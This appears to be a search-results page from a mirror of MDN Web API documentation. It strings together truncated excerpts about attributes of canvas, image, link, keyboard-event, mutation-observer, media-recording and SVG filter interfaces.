attributes: alpha: boolean that indicates if the canvas contains an alpha buffer. desynchronized: boolean that hints the user agent to reduce the latency by desynchronizing the canvas paint cycle from the event loop antialias: boolean that indicates whether or not to perform anti-aliasing. depth: boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits. failifmajo...
HTMLCanvasElement - Web APIs
oke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlcanvaselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlcanvaselement.height the height html
attribute of the <canvas> element is a positive integer reflecting the number of logical pixels (or rgba values) going down one column of the canvas. when the
attribute is not specified, or if it is set to an invalid value, like a negative, the default value of 150 is used. if no [separate] css height is assigned to the <canvas>, then this value will also be used as the height of the canvas in the length-u...
...g the number of logical pixels (or rgba values) going down one column of the canvas. when the
attribute is not specified, or if it is set to an invalid value, like a negative, the default value of 150 is used. if no [separate] css height is assigned to the <canvas>, then this value will also be used as the height of the canvas in the length-unit css pixel. htmlcanvaselement.width the width html
attribute of the <canvas> element is a positive integer reflecting the number of logical pixels (or rgba values) going across one row of the canvas. when the
attribute is not specified, or if it is set to an invalid value, like a negative, the default value of 300 is used. if no [separate] css width is assigned to the <canvas>, then this value will also be used as the width of the canvas in the length-unit...
...it lets the canvas know whether or not translucency will be a factor. if the canvas knows there's no translucency, painting performance can be optimized. this is only supported in mozilla-based browsers; use the standardized canvas.getcontext('2d', { alpha: false }) instead. ...
HTMLImageElement.loading - Web APIs
e loaded shortly before it will appear in the window's visual viewport. usage notes timing of the load event the load event is fired when the document has been fully processed. when images are loaded eagerly (which is the default), every image in the document must be fetched before the load event can fire. by specifying the value lazy for loading, you prevent the image from delaying the load
attribute by the amount of time it takes to request, fetch, and process the image. images whose loading
attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event. in other words, these images aren't loaded immediately when processing the <img> element, but are s...
...d immediately when processing the <img> element, but are still loaded as part of the initial page load. they justt don't affect the timing of the load event. that means that when load fires, it's possible that any lazy-loaded images located in the visual viewport may not yet be visible. preventing element shift during image lazy loads when an image whose loading has been delayed by the loading
attribute being set to lazy is finally loaded, the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. to prevent this reflow from occurring, you should explicitly specify the size of the image's presentation using ...
... the browser will determine the final size of the <img> element based on the style and intrinsic size of the image, then reflow the document as needed to update the positions of elements based on any size change made to the element to fit the image. to prevent this reflow from occurring, you should explicitly specify the size of the image's presentation using the image element's width and height
attributes. by establishing the intrinsic aspect ratio in this manner, you prevent elements from shifting around while the document loads, which can be disconcerting or offputting at best and can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using ...
HTMLImageElement.src - Web APIs
the htmlimageelement property src, which reflects the html src
attribute, specifies the image to display in the <img> element. syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src
attribute is a usvstring specifying the url of the desired image. this can be set either within the html itself using the src content
attribute, or programmatically by setting the element's src property. ...
...en providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src
attribute is a usvstring specifying the url of the desired image. this can be set either within the html itself using the src content
attribute, or programmatically by setting the element's src property. if you use the srcset content
attribute to provide multiple image options for different display pixel densities, the url specified by the src
attribute is used in one of two ways: as a fallback for browsers that don't support srcset. as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays). additio...
...l specified by the src
attribute is used in one of two ways: as a fallback for browsers that don't support srcset. as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays). additionally, if you use src along with both sizes (or the corresponding sizes content
attribute) and srcset in order to choose an image based on the viewport size, the src
attribute is only used as a fallback for browsers that don't support sizes and srcset; otherwise, it's not used at all. examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with...
HTMLLinkElement - Web APIs
kelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and linkstyle. htmllinkelement.as is a domstring representing the type of content being loaded by the html link. htmllinkelement.crossorigin is a domstring that corresponds to the cors setting for this link element. see cors settings
attributes for details. htmllinkelement.disabled is a boolean which represents whether the link is disabled; currently only used with style sheet links. htmllinkelement.href is a domstring representing the uri for the target resource. htmllinkelement.hreflang is a domstring representing the language code for the linked resource. htmllinkelement.media is a domstring representing a list of one or mor...
...eet links. htmllinkelement.href is a domstring representing the uri for the target resource. htmllinkelement.hreflang is a domstring representing the language code for the linked resource. htmllinkelement.media is a domstring representing a list of one or more media formats to which the resource applies. ...
...or more media formats to which the resource applies. htmllinkelement.referrerpolicy is a domstring that reflects the referrerpolicy html
attribute indicating which referrer to use. htmllinkelement.rel is a domstring representing the forward relationship of the linked resource from the document to the resource. htmllinkelement.rellist read only is a domtokenlist that reflects the rel html
attribute, as a list of tokens. htmllinkelement.sizes read only is a domsettabletokenlist that reflects the sizes html
attribute, as a list of tokens. linkstyle.sheet read only returns the stylesheet object associated with the given element, or null if there is none. htmllinkelement.type is a domstring representing the mime type of the linked resource. obsolete properties htmllinkelement.chars...
HTMLMediaElement: play event - Web APIs
the play event is fired when the paused property is changed from true to false, as a result of the play method, or the autoplay
attribute. bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplay specification html5 media examples these examples add an event listener for the htmlmediaelement's play event, then post a message when that event handler has reacted to the event firing. ...
... examples these examples add an event listener for the htmlmediaelement's play event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('play', (event) => { console.log('the boolean paused property is now false. ...
...lay', (event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay
attribute was toggled.'); }); using the onplay event handler property: const video = document.queryselector('video'); video.onplay = (event) => { console.log('the boolean paused property is now false. either the ' + 'play() method was called or the autoplay
attribute was toggled.'); }; specifications specification status html living standardthe definition of 'play media event' in that specification. living standard html5the definition of 'play media event' in that specification. recommendation ...
HTMLOptionElement - Web APIs
nt-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmloptionelement.defaultselected is a boolean that contains the initial value of the selected html
attribute, indicating whether the option is selected by default or not. htmloptionelement.disabled is a boolean representing the value of the disabled html
attribute, which indicates that the option is unavailable to be selected. an option can also be disabled if it is a child of an <optgroup> element that is disabled. htmloptionelement.form read only is a htmlformelement representing the same value...
... a <select> element, or null if none is found. htmloptionelement.index read only is a long representing the position of the option within the list of options it belongs to, in tree-order. if the option is not part of a list of options, like when it is part of the <datalist> element, the value is 0. htmloptionelement.label read only is a domstring that reflects the value of the label html
attribute, which provides a label for the option. if this
attribute isn't specifically set, reading it returns the element's text content. htmloptionelement.selected is a boolean that indicates whether the option is currently selected. htmloptionelement.text is a domstring that contains the text content of the element. htmloptionelement.value is a domstring that reflects the value of the value html ...
... methods inherits methods from its parent, htmlelement. option() is a constructor creating an htmloptionelement object. it has four values: the text to display, text, the value associated, value, the value of defaultselected, and the value of selected. ...
HTML Drag and Drop API - Web APIs
(such as files). for more information, see dragging and dropping multiple items. additionally, see the datatransfer reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application. ...
...each data item is a string of a particular type — typically a mime type such as text/html. each drag event has a datatransfer property that holds the event's data. this property (which is a datatransfer object) also has methods to manage drag data. the set...
...is property. function dragstart_handler(ev) { ev.datatransfer.dropeffect = "copy"; } for more details, see: drag effects define a drop zone by default, the browser prevents anything from happening when dropping something onto most html elements. to change that behavior so that an element becomes a drop zone or is droppable, the element must have both ondragover and ondrop event handler
attributes. the following example shows how to use those
attributes, and includes basic event handlers for each
attribute. <script> function dragover_handler(ev) { ev.preventdefault(); ev.datatransfer.dropeffect = "move"; } function drop_handler(ev) { ev.preventdefault(); // get the id of the target and add the moved element to the target's dom const data = ev.datatransfer.getdata("text/plain"); ev...
IDBIndexSync - Web APIs
name readonly domstring the name of this index. storename readonly domstring this index's referenced object store. unique readonly boolean if true, a key can have only one val...
... name readonly domstring the name of this index. storename readonly domstring this index's referenced object store. unique readonly boolean if true, a key can have only one value within the index; ...
... name readonly domstring the name of this index. ...
IDBObjectStoreSync - Web APIs
mode readonly unsigned short the mode for isol...
... mode readonly unsigned short the mode for isolating access to the d...
... mode readonly unsigned short the mode for isolating access to the data in this object store. for possible values, see constants. ...
Timing element visibility with the Intersection Observer API - Web APIs
than one of the intersection observer ratios. we iterate over each of those entries—which are of type intersectionobserverentry. if the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. if it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastviewstarted
attribute to the transition time in entry.time, then add the ad to the set visibleads so we know to process it as time goes by. if the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. then we have one special behavior: we look to see if entry.ratio is 0.0; if it is, that means the element has become totally obscured. if that's the case, and the ad has been v...
...ct. here it is: function updateadtimer(adbox) { let laststarted = adbox.dataset.lastviewstarted; let currenttime = performance.now(); if (laststarted) { let diff = currenttime - laststarted; adbox.dataset.totalviewtime = parsefloat(adbox.dataset.totalviewtime) + diff; } adbox.dataset.lastviewstarted = currenttime; } to track an element's visible time, we use two custom data
attributes (see data-*) on every ad: lastviewstarted the time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked. totalviewtime the total number of milliseconds the ad has been visible. these are accessed through each ad's htmleleme...
...-*) on every ad: lastviewstarted the time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked. totalviewtime the total number of milliseconds the ad has been visible. these are accessed through each ad's htmlelement.dataset
attribute, which provides a domstringmap mapping each custom
attribute's name to its value. the values are strings, but we can convert those to numbers easily enough—in fact, javascript generally does it automatically, although we'll have one instance where we have to do it ourselves. we start by fetching the time at which the ad's previous visibility status check time (adbox.dataset.lastviewstarted) in...
KeyboardEvent.initKeyboardEvent() - Web APIs
this method was introduced in draft of dom level 3 events, but deprecated in newer draft. gecko won't support this feature since implementing this method as experimental broke existing web apps (see bug 999645). web applications should use constructor instead of this if it's available. syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup. canbubblearg whether or not the event can bubble. ...
... viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup. canbubblearg whether or not the event can bubble. cancelablearg whether or not the event can be canceled. viewarg the windowproxy it is associated to. chararg the value of the char
attribute. keyarg the value of the key
attribute. locationarg the value of the location
attribute. modifierslistarg a whitespace-delineated list of modifier keys that should be considered to be active on the event's key. for example, specifying "control shift" indicates that the user was holding down the control and shift keys when pressing the key described by the event. repeatarg the value of the...
...g the value of the key
attribute. locationarg the value of the location
attribute. modifierslistarg a whitespace-delineated list of modifier keys that should be considered to be active on the event's key. for example, specifying "control shift" indicates that the user was holding down the control and shift keys when pressing the key described by the event. repeatarg the value of the repeat
attribute. ...
KeyboardEvent.key - Web APIs
put>, <textarea> or an element with htmlelement.contenteditable set to true, the beforeinput and input event types are fired in that order. note that some other implementations may fire keypress event if supported. the events will be fired repeatedly while the key is held down. a keyup event is fired once the key is released. this completes the process. in sequence 1 & 3, the keyboardevent.key
attribute is defined and is set appropriately to a value according to the rules defined ealier. keyboardevent sequence example consider the event sequence generated when we interact with the shift and the 2 key using a u.s keyboard layout as compared to when we do so using a uk keyboard layout. try experimenting using the following two test cases: press and hold the shift key, then press 2 and releas...
...he uk keyboard type, because of the active modifier shift key. the beforeinput and input events are fired next because a character key has been produced. as we release the key 2, a keyup event is fired and the key property will maintain the string values @ and " for the different keyboard layouts respectively. as we finally release the shift key, another keyup event is fired for it, and the key
attribute value remains shift. case 2 when the shift key is pressed, a keydown event is first fired, and the key property value is set to be the string shift. as we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key. when key 2 is pressed, another keydown event is fired for this new key press, and the key property value for the event is set...
...ve modifier shift key. the beforeinput and inputbeforeinput and input events are fired next because a character key has been produced. as we keep holding the key, the keydown event continues to fire repeatedly and the keyboardevent.repeat property is set to true. the beforeinput and input events are fired repeatedly as well. as we release the shift key, a keyup event is fired for it, and the key
attribute value remains shift. at this point, notice that the key property value for the repeating keydown event of the key 2 key press is now "2" because the modifier shift key is no longer active. the same goes for the inputevent.data property of the beforeinput and input events. as we finally release the key 2, a keyup event is fired but the key property will be set to the string value 2 for both keybo...
KeyboardEvent - Web APIs
uctor. obsolete properties keyboardevent.char read only returns a domstring representing the character value of the key. if the key corresponds to a printable character, this value is a non-empty unicode string containing that character. if the key doesn't have a printable representation, this is an empty string. note: if the key is used as a macro that inserts multiple characters, this
attribute's value is the entire string, not just the first character. keyboardevent.charcode read only returns a number representing the unicode reference number of the key; this
attribute is used only by the keypress event. for keys whose char
attribute contains multiple characters, this is the unicode value of the first character in that
attribute. in firefox 26 this returns codes for printable cha...
...tring, not just the first character. keyboardevent.charcode read only returns a number representing the unicode reference number of the key; this
attribute is used only by the keypress event. for keys whose char
attribute contains multiple characters, this is the unicode value of the first character in that
attribute. in firefox 26 this returns codes for printable characters. warning: this
attribute is deprecated; you should use keyboardevent.key instead, if available. keyboardevent.keycode read only returns a number representing a system and implementation dependent numerical code identifying the unmodified value of the pressed key. warning: this
attribute is deprecated; you should use keyboardevent.key instead, if available. keyboardevent.keyidentifier read only this property...
... level 3 events. keyboardevent.keylocation read only this is a non-standard deprecated alias for keyboardevent.location. it was part of an old version of dom level 3 events. keyboardevent.which read only returns a number representing a system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keycode. warning: this
attribute is deprecated; you should use keyboardevent.key instead, if available. events the following events are based on the keyboardevent type. they can be delivered to any object which implements globaleventhandlers, including element, document, and window. in the list below, each event links to the documentation for the document handler for the event, which applies generally to all of the recipien...
MediaDevices.getUserMedia() - Web APIs
e policy the feature policy security management feature of http is in the process of being introduced into browsers, with support available to some extent in many browsers (though not always enabled by default, as in firefox). getusermedia() is one method which will require the use of feature policy, and your code needs to be prepared to deal with this. for example, you may need to use the allow
attribute on any <iframe> that uses getusermedia(), and pages that use getusermedia() will eventually need to supply the feature-policy header. the two permissions that apply to getusermedia() are camera and microphone. for example, this line in the http headers will enable use of a camera for the document and any embedded <iframe> elements that are loaded from the same origin: feature-policy: camera 's...
...out security being carefully managed, it can only be used in secure contexts. there are a number of insecure ways to load a document that might, in turn, attempt to call getusermedia(). ...
... examples width and height this example gives a preference for camera resolution, and assigns the resulting mediastream object to a video element. // prefer camera resolution nearest to 1280x720. ...
Recording a media element - Web APIs
re operation of the app. <div class="left"> <div id="startbutton" class="button"> start </div> <h2>preview</h2> <video id="preview" width="160" height="120" autoplay muted></video> </div> we present our main interface in two columns. on the left is a start button and a <video> element which displays the video preview; this is the video the user's camera sees. note that the autoplay
attribute is used so that as soon as the stream starts to arrive from the camera, it immediately gets displayed, and the muted
attribute is specified to ensure that the sound from the user's microphone isn't output to their speakers, causing an ugly feedback loop. <div class="right"> <div id="stopbutton" class="button"> stop </div> <h2>recording</h2> <video id="recording" width="160" height="1...
...dia data blobs locally known as recordedchunks. the first thing we do is merge the chunks into a single blob whose mime type is "video/webm" by taking advantage of the fact that the blob() constructor concatenates arrays of objects into one object. ...
...ing advantage of the fact that the blob() constructor concatenates arrays of objects into one object. then url.createobjecturl() is used to create an url that references the blob; this is then made the value of the recorded video playback element's src
attribute (so that you can play the video from the blob) as well as the target of the download button's link. then the download button's download
attribute is set. while the download
attribute can be a boolean, you can also set it to a string to use as the name for the downloaded file. so by setting the download link's download
attribute to "recordedvideo.webm", we tell the browser that clicking the button should download a file named "recordedvideo.webm" whose contents are the recorded video. lines 17-18 the size and type of the recorded media ...
msPlayToPrimary - Web APIs
erty which gets or sets the primary dlna playto device. this proprietary property is specific to internet explorer and microsoft edge. ...
.... this proprietary property is specific to internet explorer and microsoft edge. ...
...explorer and microsoft edge. syntax ptr = object.msplaytoprimary; value boolean value set to true indicates that the device is the primary dlna playto device, otherwise false. ...
MutationEvent - Web APIs
browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e. ...
...g 8191 and the workaround) "mutation name events", i.e. domelementnamechanged and dom
attributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well. ... dottoro documents browser support for mutation events. mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified dom
attributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ... }, false); the event object is passed to the lis...
... ...
MutationObserverInit.subtree - Web APIs
syntax var options = { subtree: true | false } value a boolean value. ...
...ons = { subtree: true | false } value a boolean value. the default, false, indicates that only the target node specified when calling mutationobserver.observe() is to be monitored for changes. changing this value to true causes the entire subtree rooted at the specified target node to be monitored for the changes indicated by the other options. ...
...e target node specified when calling mutationobserver.observe() is to be monitored for changes. changing this value to true causes the entire subtree rooted at the specified target node to be monitored for the changes indicated by the other options. for example, to watch the target node only for
attribute changes, the mutationobserverinit passed into mutationobserver() can be: var options = {
attributes: true, subtree: false }; since the default value of subtree is false, line 3 is optional. to monitor the entire subtree for
attribute changes, simply set subtree to true: var options = {
attributes: true, subtree: true }; example specifications specification status comment domthe definition of 'mutationobserverinit.subtree' in that specification. living...
MutationRecord - Web APIs
a mutationrecord represents an individual dom mutation. it is the object that is passed to mutationobserver's callback. properties property type description mutationrecord.type string returns "
attributes" if the mutation was an
attribute mutation, "characterdata" if it was a mutation to a characterdata node, and "childlist" if it was a mutation to the tree of nodes. mutationrecord.target node returns the node the mutation affected, depending on the mutationrecord.type. for
attributes, it is the element whose
attribute changed. for characterdata, it is the characterdata node. for childlist, it is the node whose children changed. mutationrecord.addednodes nodelist return the nodes added. will be an empty nodelist if no...
...des were added. mutationrecord.removednodes nodelist return the nodes removed. will be an empty nodelist if no nodes were removed. mutationrecord.previoussibling node return the previous sibling of the added or removed nodes, or null. mutationrecord.nextsibling node return the next sibling of the added or removed nodes, or null. mutationrecord.
attributename string returns the local name of the changed
attribute, or null. mutationrecord.
attributenamespace string returns the namespace of the changed
attribute, or null. mutationrecord.oldvalue string the return value depends on the mutationrecord.type. for
attributes, it is the value of the changed
attribute before the change. for characterdata, it...
...turns the namespace of the changed
attribute, or null. mutationrecord.oldvalue string the return value depends on the mutationrecord.type. for
attributes, it is the value of the changed
attribute before the change. for characterdata, it is the data of the changed node before the change. for childlist, it is null. note that for this to work as expected,
attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification. living standard ...
Node.cloneNode() - Web APIs
with gecko 28.0 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3)), the console warned developers not to omit the argument. starting with gecko 29.0 (firefox 29 / thunderbird 29 / seamonkey 2.26)), a shallow clone is defaulted instead of a deep clone. ...
... to clone a node to insert into a different document, use document.importnode() instead. ...
...ed using addeventlistener() or those assigned to element properties (e.g., node.onclick = somefunction). additionally, for a <canvas> element, the painted image is not copied. warning: clonenode() may lead to duplicate element ids in a document! if the original node has an id
attribute, and the clone will be placed in the same document, then you should modify the clone's id to be unique. name
attributes may need to be modified also, depending on whether duplicate names are expected. to clone a node to insert into a different document, use document.importnode() instead. specifications specification status comment domthe definition of 'node.clonenode()' in that specification. living standard document object model (dom) level 3 core specificationthe ...
OffscreenCanvas.getContext() - Web APIs
the offscreencanvas.getcontext() method returns a drawing context for an offscreen canvas, or null if the context identifier is not supported. note: this api is currently implemented for webgl1 and webgl2 contexts only. see bug 801176 for canvas 2d api support from workers. syntax offscreen.getcontext(contexttype, context
attributes); parameters contexttype is a domstring containing the context identifier defining the drawing context associated to the canvas. possible values are: "2d" creates a canvasrenderingcontext2d object representing a two-dimensional rendering context. "webgl" creates a webglrenderingcontext object representing a three-dimensional rendering context. this context is only available on browsers that implement webgl version 1 (opengl es 2.0). "webgl2"...
...place the content of the canvas with a given imagebitmap. note: the identifiers "experimental-webgl" or "experimental-webgl2" are also used in implementations of webgl. these implementations have not reached test suite conformance, or the graphic drivers situation on the platform is not yet stable. the khronos group certifies webgl implementations under certain conformance rules. context
attributes you can use several context
attributes when creating your rendering context, for example: offscreen.getcontext("webgl", { antialias: false, depth: false }); 2d context
attributes: alpha: boolean that indicates if the canvas contains an alpha channel. if set to false, the browser now knows that the backdrop is always opaque, which can speed up drawin...
... force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently. this option is only available, if the flag gfx.canvas.willreadfrequently.enable is set to true (which, by default, is only the case for b2g/firefox os). (blink only) storage: string that indicates which storage is used ("persistent" by default). webgl context
attributes: alpha: boolean that indicates if the canvas contains an alpha buffer. depth: boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits. stencil: boolean that indicates that the drawing buffer has a stencil buffer of at least 8 bits. antialias: boolean that indicates whether or not to perform anti-aliasing. premultipliedalpha: boolean that indicates that ...
SVGAElement - Web APIs
perties of <a> element, as well as methods to manipulate them. properties this interface also inherits properties from its parent, svggraphicselement, and implements properties from svgurireference and htmlhyperlinkelementutils. svgaelement.download see htmlanchorelement.download. svgaelement.href see htmlanchorelement.href. svgaelement.hreflang is a domstring that reflects the hreflang
attribute, indicating the language of the linked resource. svgaelement.ping is a domstring that reflects the ping
attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel se...
...parated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel see htmlanchorelement.rel. svgaelement.rellist see htmlanchorelement.rellist. ...
... svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel see htmlanchorelement.rel. svgaelement.rellist see htmlanchorelement.rellist. svgaelement.target read only it corresponds to the target
attribute of the given element. svgaelement.text is a domstring being a synonym for the node.textcontent property. svgaelement.type is a domstring that reflects the type
attribute, indicating the mime type of the linked resource. methods this interface has no methods but inherits methods from its parent, svggraphicselement. example in the example below, the target
attribute of the <a> element is set to _blank and when the link is clicked, it logs to notify whether the condition is met or not. var linkref = document.queryselector("a"); linkref.target = "_self"; linkr...
SVGComponentTransferFunctionElement - Web APIs
to the value discrete. svg_fecomponenttransfer_type_linear 4 corresponds to the value linear. svg_fecomponenttransfer_type_gamma 5 corresponds to the value gamma. properties this interface also inherits properties from its parent interface, svgelement. svgcomponenttransferfunctionelement.type read only an svganimatedenumeration corresponding to the type
attribute of the given element. it takes one of the svg_fecomponenttransfer_type_* constants defined on this interface. svgcomponenttransferfunctionelement.tablevalues read only an svganimatednumberlist corresponding to the tablevalues
attribute of the given element. svgcomponenttransferfunctionelement.slope read only an svganimatednumber corresponding to the slope
attribute of the given element. sv...
...e. svgcomponenttransferfunctionelement.tablevalues read only an svganimatednumberlist corresponding to the tablevalues
attribute of the given element. svgcomponenttransferfunctionelement.slope read only an svganimatednumber corresponding to the slope
attribute of the given element. svgcomponenttransferfunctionelement.intercept read only an svganimatednumber corresponding to the intercept
attribute of the given element. svgcomponenttransferfunctionelement.amplitude read only an svganimatednumber corresponding to the amplitude
attribute of the given element. svgcomponenttransferfunctionelement.exponent read only an svganimatednumber corresponding to the exponent
attribute of the given element. svgcomponenttransferfunctionelement.offset read only an svganimatednumber corresponding to...
... methods this interface does not provide any specific methods, but implements those of its parent, svgelement. ...
SVGFEDisplacementMapElement - Web APIs
type. svg_channel_r 1 corresponds to the r value. svg_channel_g 2 corresponds to the g value. svg_channel_b 3 corresponds to the b value. svg_channel_a 4 corresponds to the a value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfedisplacementmapelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfedisplacementmapelement.in2 read only an svganimatedstring corresponding to the in2
attribute of the given element. svgfedisplacementmapelement.scale read only an svganimatednumber corresponding to the scale
attribute of the given element. svgfedisplacementmapel...
...tribute of the given element. svgfedisplacementmapelement.in2 read only an svganimatedstring corresponding to the in2
attribute of the given element. svgfedisplacementmapelement.scale read only an svganimatednumber corresponding to the scale
attribute of the given element. svgfedisplacementmapelement.xchannelselector read only an svganimatedenumeration corresponding to the xchannelselect
attribute of the given element. it takes one of the svg_channel_* constants defined on this interface. svgfedisplacementmapelement.ychannelselector read only an svganimatedenumeration corresponding to the ychannelselect
attribute of the given element. it takes one of the svg_channel_* constants defined on this interface. methods this interface does not provide any specific methods, but implements tho...
... specifications specification status comment filter effects module level 1the definition of 'svgfedisplacementmapelement' in that specification. ...
SVGFEGaussianBlurElement - Web APIs
witch an existing value to this type. svg_edgemode_duplicate 1 corresponds to the duplicate value. svg_edgemode_wrap 2 corresponds to the wrap value. svg_edgemode_none 3 corresponds to none value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfegaussianblurelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfegaussianblurelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stddeviation
attribute of the given element. svgfegaussianblurelement.stddeviationy read only an svganimatednumber correspondi...
...nding to the in
attribute of the given element. svgfegaussianblurelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stddeviation
attribute of the given element. svgfegaussianblurelement.stddeviationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stddeviation
attribute of the given element. svgfegaussianblurelement.edgemode read only an svganimatedenumeration corresponding to the edgemode
attribute of the given element. takes one of the svg_edgemode_* constants defined on this interface. methods this interface also inherits methods of its parent, svgelement, and also implements methods of svgfilterprimitivestandard
attributes. svgfegaussianblurelement.s...
... specifications specification status comment filter effects module level 1the definition of 'svgfegaussianblurelement' in that specification. working draft added edgemode property. ...
SVGFEOffsetElement - Web APIs
methods this interface does not provide any specific me...
... text-anchor="middle" alignment-baseline="middle">svgfeoffsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfeoffsetelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfeoffsetelement.dx read only an svganimatednumber corresponding to the dx
attribute of the given element. svgfeoffsetelement.dy read only an svganimatednumber corresponding to the dy
attribute of the given element. methods this interface does not provide any specific methods, but implements those of its parent, svgelement, and also implements methods of svgfilter...
... specifications specification status comment filter effects module level 1the definition of 'svgfeoffsetelement' in that specification. ...
SVGFESpecularLightingElement - Web APIs
" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespecularlightingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandard
attributes. svgfespecularlightingelement.in1 read only an svganimatedstring corresponding to the in
attribute of the given element. svgfespecularlightingelement.surfacescale read only an svganimatednumber corresponding to the surfacescale
attribute of the given element. svgfespecularlightingelement.specularconstant read only an svganimatednumber corresponding to the specularconstant
attribute of...
...ularlightingelement.surfacescale read only an svganimatednumber corresponding to the surfacescale
attribute of the given element. svgfespecularlightingelement.specularconstant read only an svganimatednumber corresponding to the specularconstant
attribute of the given element. svgfespecularlightingelement.specularexponent read only an svganimatednumber corresponding to the specularexponent
attribute of the given element. svgfespecularlightingelement.kernelunitlengthx read only an svganimatednumber corresponding to the x component of the kernelunitlength
attribute of the given element. svgfespecularlightingelement.kernelunitlengthy read only an svganimatednumber corresponding to the y component of the kernelunitlength
attribute of the given element. methods this interface does not pr...
... specifications specification status comment filter effects module level 1the definition of 'svgfespecularlightingelement' in that specification. working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespecularlightingelement' in that specification. ...
SVGFESpotLightElement - Web APIs
x" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfespotlightelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement. svgfespotlightelement.x read only an svganimatednumber corresponding to the x
attribute of the given element. svgfespotlightelement.y read only an svganimatednumber corresponding to the y
attribute of the given element. svgfespotlightelement.z read only an svganimatednumber corresponding to the z
attribute of the given element. svgfespotlightelement.pointatx read only an svganimatednumber corresponding to the pointatx
attribute of the given element. svgfespotlightelement.p...
...tednumber corresponding to the y
attribute of the given element. svgfespotlightelement.z read only an svganimatednumber corresponding to the z
attribute of the given element. svgfespotlightelement.pointatx read only an svganimatednumber corresponding to the pointatx
